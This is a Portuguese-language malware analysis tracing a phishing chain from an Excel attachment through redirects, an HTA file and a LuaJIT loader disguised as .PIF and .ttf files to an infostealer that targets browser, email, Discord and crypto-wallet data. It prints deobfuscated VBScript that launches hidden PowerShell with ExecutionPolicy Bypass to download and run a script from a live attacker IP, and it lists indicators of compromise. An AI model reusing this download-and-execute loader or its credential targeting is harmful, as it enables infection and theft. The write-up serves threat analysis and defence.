A maioria das campanhas de malware modernas abandonou há muito tempo o uso de macros clássicas do Microsoft Office. Em vez disso, os atacantes constroem cadeias de infecção em várias etapas, onde cada componente executa apenas uma pequena tarefa: o documento inicial apenas inicia o download da próxima fase, que por sua vez baixa um novo componente, que por sua vez executa o módulo malicioso principal.
Durante a análise de uma dessas amostras, a cadeia de infecção completa foi investigada – desde um e-mail com um anexo Excel até a execução de um loader LuaJIT e um subsequente infostealer. Uma característica interessante da campanha é o uso de arquivos com extensões não padronizadas (.PIF e .TTF), que na verdade não são nem atalhos nem fontes. Abaixo, examinaremos cada etapa do funcionamento da cadeia maliciosa.
E-mail Inicial
Um e-mail com o anexo "Número do pedido 6482.xls" é recebido. Ao abrir o documento, o usuário não observa nenhuma atividade suspeita. O documento está praticamente vazio e não contém conteúdo visível. No entanto, se o arquivo for aberto como Compound File Storage (OLE Structured Storage), a seguinte estrutura pode ser observada:
MBD000203B4 └── [1]Ole
Para documentos no formato XLS, a presença de fluxos OLE é um fenômeno absolutamente normal. No entanto, o conteúdo do fluxo [1]Ole merece atenção. Dentro dele, encontra-se a seguinte string:
À primeira vista, o URL se assemelha a uma publicação de notícias sobre o Windows Update no site WindowsLatest. Na verdade, é apenas uma tentativa de disfarçar a infraestrutura maliciosa como um recurso legítimo.
Cadeia de Rede
Após a abertura do documento, inicia-se uma sequência de requisições HTTP. A primeira requisição é feita para o endereço:
O servidor responde com:
HTTP/1.1 301 Moved Permanently
Em seguida, ocorre um redirecionamento para um link encurtado:
A próxima resposta é:
HTTP/1.1 302 Found
E o navegador é redirecionado para o endereço final:
http://192.236.217.77/33/ev/fdd.hta
É aqui que a fase real de infecção começa. Esquematicamente, a cadeia se parece com isto:
Excel │ ▼ OLE Stream │ ▼ HTTP Request │ ▼ 301 Redirect │ ▼ Shortener │ ▼ 302 Redirect │ ▼ fdd.hta
O uso de múltiplos redirecionamentos HTTP permite que os atacantes:
- Dificultem a análise;
- Troquem rapidamente o servidor final;
- Escondam a infraestrutura real;
- Contornem filtros de URL simples.
Análise do Arquivo HTA
Após passar pela cadeia de redirecionamentos, o arquivo fdd.hta é baixado. HTA (HTML Application) é um documento HTML comum que é executado pelo motor do Internet Explorer com direitos quase completos do usuário. O código principal consiste em VBScript fortemente ofuscado. Após a desofuscação, o seguinte código é obtido:
Option Explicit
Dim sh Dim cmd
Set sh = CreateObject("WScript.Shell")
cmd = "%COMSPEC% /C " & _ "powershell.exe " & _ "-ExecutionPolicy Bypass " & _ "-NoProfile " & _ "-WindowStyle Hidden " & _ "-Command " & _ ""wget http://192.236.217.77/33/goodpeoplesgivingbestserviceforbest.js " & _ "-OutFile $env:AppData\goodpeoplesgivingbestserviceforbest.js; " & _ "& $env:AppData\goodpeoplesgivingbestserviceforbest.js""
sh.Run cmd, 0, False
Set sh = Nothing
Apesar do pequeno volume de código, este script funciona como um loader completo. A sequência de sua operação é a seguinte:
- Cria-se um objeto WScript.Shell.
- Através de %COMSPEC%, inicia-se cmd.exe.
- De cmd.exe, inicia-se o PowerShell.
- O PowerShell é iniciado em modo oculto.
- A política de execução de scripts é desativada (ExecutionPolicy Bypass).
- O perfil do usuário não é carregado (NoProfile).
- A janela do PowerShell é ocultada (WindowStyle Hidden).
- O download da próxima etapa é executado.
- O JavaScript baixado é executado imediatamente.
Na verdade, este arquivo HTA não contém a carga maliciosa em si. Sua única tarefa é baixar o próximo componente.
JavaScript Loader
A próxima etapa é a execução do arquivo goodpeoplesgivingbestserviceforbest.js. Apesar do nome longo, a funcionalidade é bastante simples. O script baixa dois arquivos:
JJGIMJPBTQUZEYUL.PIF JJGIMJPBTQUZEYUL.ttf
À primeira vista, pode parecer que:
- PIF é um atalho antigo do Windows;
- TTF é uma fonte comum.
No entanto, ambos os arquivos são usados de forma completamente diferente. O arquivo JJGIMJPBTQUZEYUL.PIF é, na verdade, um executável LuaJIT Loader. O segundo arquivo, JJGIMJPBTQUZEYUL.ttf, não é uma fonte. É um script Lua comum.
A execução ocorre da seguinte forma:
"C:\Users<user>\Documents\JJGIMJPBTQUZEYUL.PIF" C:\Users<user>\Documents\JJGIMJPBTQUZEYUL.ttf
Assim:
PIF ↓ LuaJIT Runtime ↓ TTF ↓ Lua Script
A extensão .ttf é usada exclusivamente para mascaramento. O próprio LuaJIT Loader recebe o caminho do arquivo e o interpreta como código Lua. Essa abordagem oferece várias vantagens:
- Contorno de assinaturas simples;
- Ocultação do verdadeiro propósito do arquivo;
- Complicação da análise estática;
- Redução do número de detecções por antivírus.
Comportamento do Script Lua
Após a execução, inicia-se a coleta ativa de informações do sistema. Primeiro, várias chaves de registro são lidas. Obtêm-se:
- MachineGuid;
- ComputerName;
- InstallationType;
- Versão das tabelas de ordenação NLS.
Isso permite a formação de um identificador único do sistema infectado.
Desativação de Logging
Em seguida, o programa malicioso altera as configurações de rastreamento do Windows. O valor é modificado:
HKLM\SOFTWARE\Microsoft\Tracing
JJGIMJPBTQUZEYUL_RASAPI32
Parâmetro:
EnableFileTracing = 0
Dessa forma, o rastreamento de arquivos do RAS API é desativado. Essa técnica corresponde ao MITRE ATT&CK: T1562.002 Impair Defenses.
Verificação de Configurações do Internet Explorer
A próxima etapa é a leitura das configurações de segurança do Internet Explorer. Em particular, os parâmetros DisableSecuritySettingsCheck e RunBinaryControlHostProcessInSeparateAppContainer são analisados. Mesmo que o Internet Explorer seja considerado obsoleto há muito tempo, seus componentes ainda são usados por muitos mecanismos do sistema Windows.
Execução de Navegadores
Uma característica interessante é a execução do Chrome e do Microsoft Edge com parâmetros incomuns. Por exemplo:
--no-sandbox
--disable-gpu
--disable-audio
--mute-audio
--user-data-dir=
Um perfil de usuário completamente separado é criado. Isso permite evitar conflitos com o navegador já em execução e realizar operações independentemente da sessão principal do usuário.
Busca por Informações Confidenciais
A parte mais interessante começa a seguir. O script Lua começa a verificar a existência de vários arquivos e diretórios.
- Clientes de E-mail: São verificados Thunderbird, Mailbird, Microsoft Outlook. No Outlook, acessam-se as chaves de perfil: POP3 Password.
- Navegadores: São verificados Google Chrome, Microsoft Edge, Opera, Opera GX. São estudados Cookies, Local State, perfis de usuários, configurações de navegadores.
- Gerenciadores de Senhas: São feitas requisições às extensões de gerenciadores de senhas populares. Por exemplo: aeblfdkhhhdcdjpifhhbdiojplfjncoa.
- Carteiras de Criptomoedas: São verificados os diretórios de extensões: kkpllkodjeloidieedojogacfhpaihoh, fcfcfllfndlomdhbehjjcoimbgofdncg, lgmpcpglpngdoalbgeoldeajfclnhafa, jnlgamecbpmbajjfhmmmlhejkemejdma, mcohilncbfahbmgdjkbpemcciiolgcge. Cada identificador corresponde a uma extensão de navegador de carteira de criptomoedas específica.
- Discord: Também é realizada a busca por Discord, em particular, Local Storage, onde tokens de autorização podem ser armazenados.
Esquema Geral de Infecção
A cadeia completa se parece com isto:
Email │ ▼ Excel (.xls) │ ▼ OLE Object │ ▼ HTTP Request │ ▼ 301 Redirect │ ▼ 302 Redirect │ ▼ HTA │ ▼ VBScript │ ▼ PowerShell │ ▼ JavaScript │ ▼ LuaJIT Loader (.PIF) │ ▼ Lua Script (.TTF) │ ▼ System Reconnaissance
Credential Access
Browser Data Collection
Crypto Wallet Discovery │ ▼ 38.49.217.157
Cada etapa executa apenas uma função, graças ao qual toda a cadeia se torna significativamente menos perceptível para os meios de proteção. E todos os dados obtidos são enviados para o IP como 38.49.217.157.
Indicadores de Comprometimento (IOC)
-
Arquivos SHA256:
- Número do pedido 6482.xls: a95dedfe8471179b42d61538954be3d42aec68321181ac9bc74fefc30160991d
- fdd.hta: 540a0c9d12b13a3b084fac354c6c3bf7bfaea52bdf7c00ef69f9bb1881060498
- JJGIMJPBTQUZEYUL.PIF: 52f0c0230b580e2fdf53a378b5c6d0db9829af900dae43e0df8f18635cd9f0c1
- JJGIMJPBTQUZEYUL.ttf: c33c556661cb27e1277702cbba93dfd466742690edca38ea55bf5532387068a6
-
Arquivos:
- Número do pedido 6482.xls
- fdd.hta
- goodpeoplesgivingbestserviceforbest.js
- JJGIMJPBTQUZEYUL.PIF
- JJGIMJPBTQUZEYUL.ttf
-
Indicadores de Rede:
- 192.236.217.77
- masuk.to
- 38.49.217.157
-
Comandos Chave:
- powershell.exe
- -ExecutionPolicy Bypass
- -NoProfile
- -WindowStyle Hidden
É importante notar que, no momento da análise, o servidor http://192.236.217.77/33 ainda estava acessível, e os arquivos utilizados nesta cadeia de infecção continuavam nele. Ou seja, a infraestrutura de ataque não foi desativada e ainda poderia ser usada para disseminação posterior.
Portanto, seja cauteloso ao lidar com e-mails e anexos, especialmente com documentos .xls de remetentes desconhecidos. À primeira vista, tal arquivo pode parecer um documento comum, mas uma cadeia inteira de download de malware pode estar escondida dentro dele.
Conclusão
A cadeia analisada demonstra a abordagem moderna para a disseminação de malware. Em vez de um único arquivo executável, os atacantes utilizam várias etapas, onde cada componente executa sua tarefa: o documento Microsoft Excel Workbook (.xls) inicia a cadeia inicial, o HTML Application (.hta) baixa a próxima etapa, o PowerShell obtém o script JavaScript (.js), e o LuaJIT Loader executa o código Lua principal, escondido sob a extensão TrueType Font (.ttf).
O uso de extensões não padronizadas .pif e .ttf, bem como múltiplos linguagens de script, complica a análise e ajuda a contornar meios de detecção simples. O módulo Lua final realiza a coleta de informações do sistema, verifica a presença de dados de navegadores, clientes de e-mail, gerenciadores de senhas, extensões de criptomoedas e outras fontes de informações confidenciais. Esse comportamento é característico de infostealers modernos, cujo principal objetivo é roubar credenciais e dados do usuário.
Como resultado, temos um ataque em várias etapas, onde cada arquivo individual parece menos suspeito, mas juntos formam uma cadeia de infecção completa.








